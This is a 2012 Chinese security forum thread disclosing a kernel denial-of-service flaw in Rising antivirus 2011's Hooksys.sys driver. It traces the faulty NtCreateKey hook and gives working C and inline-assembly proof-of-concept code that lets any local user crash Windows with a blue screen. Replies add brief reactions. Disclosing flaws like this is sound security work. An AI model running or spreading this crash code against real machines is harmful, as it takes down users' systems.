首页
社区
课程
招聘
[原创]瑞星全功能安全软件2011内核拒绝服务漏洞
发表于: 2012-5-27 08:23 11118

[原创]瑞星全功能安全软件2011内核拒绝服务漏洞

2012-5-27 08:23
11118

瑞星全功能安全软件2011是一款集“智能云安全”,智能安全防护,智能杀毒为一体的专业安全软件.

最新版本23.00.63.28(2012-5-27)存在内核拒绝服务漏洞,可导致任意权限用户在安装了瑞星的系统上引发蓝屏.
存在问题的组件:Hooksys.sys 
版本:25.0.0.57,CheckSum = 0002ED85, TimeStamp = 4EDDA48B
数字签名仍为2011.12.6

瑞星在NtCreateKey HOOK函数中对ObjectAttributes结构体的参数校验不严格,就将参数传递给内核函数ZwOpenKey,结果引发蓝屏.在未安装瑞星的系统下没有影响.
调用过程:
ZwCreateKey -> hk_ZwCreateKey -> (检查了ObjectAttributes->ObjectName) -> ZwOpenKey -> 上个模式改为KernelMode,系统不检查参数有效性 ->ObOpenObjectByName -> ObpCaptureObjectCreateInformation -> 系统函数判断SecurityDescriptor域存在,且上个模式为内核模式,因此不做参数检查,直接将参数 ->SeCaptureSecurityDescriptor -> SeCaptureSecurityDescriptor访问错误的SecurityDescriptor地址,系统崩溃蓝屏
偏移Hooksys+e27a



测试代码:
        WCHAR fuzz[] = L"xxxx_fuzz_rising";

  HMODULE hlib = LoadLibrary(L"ntdll.dll");
  PVOID p = GetProcAddress(hlib , "ZwCreateKey");

  OBJECT_ATTRIBUTES oba ;
  UNICODE_STRING strname ; 
  strname.Buffer = fuzz; 
  strname.Length = wcslen(strname.Buffer) * sizeof(WCHAR) ; 

  InitializeObjectAttributes(&oba , &strname ,0 , 0,(PVOID)0x80000000);

  __asm{

    push 0 
      push 0
      push 0
      push 0
      lea eax,oba
      push eax
      push 0
      push 0
      call p 

  }

  return 0;

poc.rar

Mini052712-01.rar


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 6
支持
分享
最新回复 (8)
雪    币: 221
活跃值: (40)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
2
难道是0day?不知道能不能进一步执行任意代码
2012-5-27 09:35
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
3
表示关注,。。。。
2012-5-27 10:22
0
雪    币: 292
活跃值: (153)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
拒绝服务  不是很危险,但是很严重。。。。360的水军 赶紧IP段,批量扫描啊~!!! O(∩_∩)O哈哈~

POC.exe  是DEMO吗???
2012-5-27 11:18
0
雪    币: 274
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
谢谢楼主分享,关注~~
2012-5-28 09:50
0
雪    币: 86
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
前排站位,广告出租
2012-5-28 12:33
0
雪    币: 10968
活跃值: (158)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
我顶,,,11年的,。
2012-5-28 14:27
0
雪    币: 234
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
顶顶,瑞星现在的内核牛们,不知还有吗?
2012-5-28 16:13
0
雪    币: 90
活跃值: (91)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
我以前用瑞星经常蓝屏
是不是也是类似的原因?
*&^%$$%^&
2012-5-29 11:08
0
游客
登录 | 注册 方可回帖
返回
//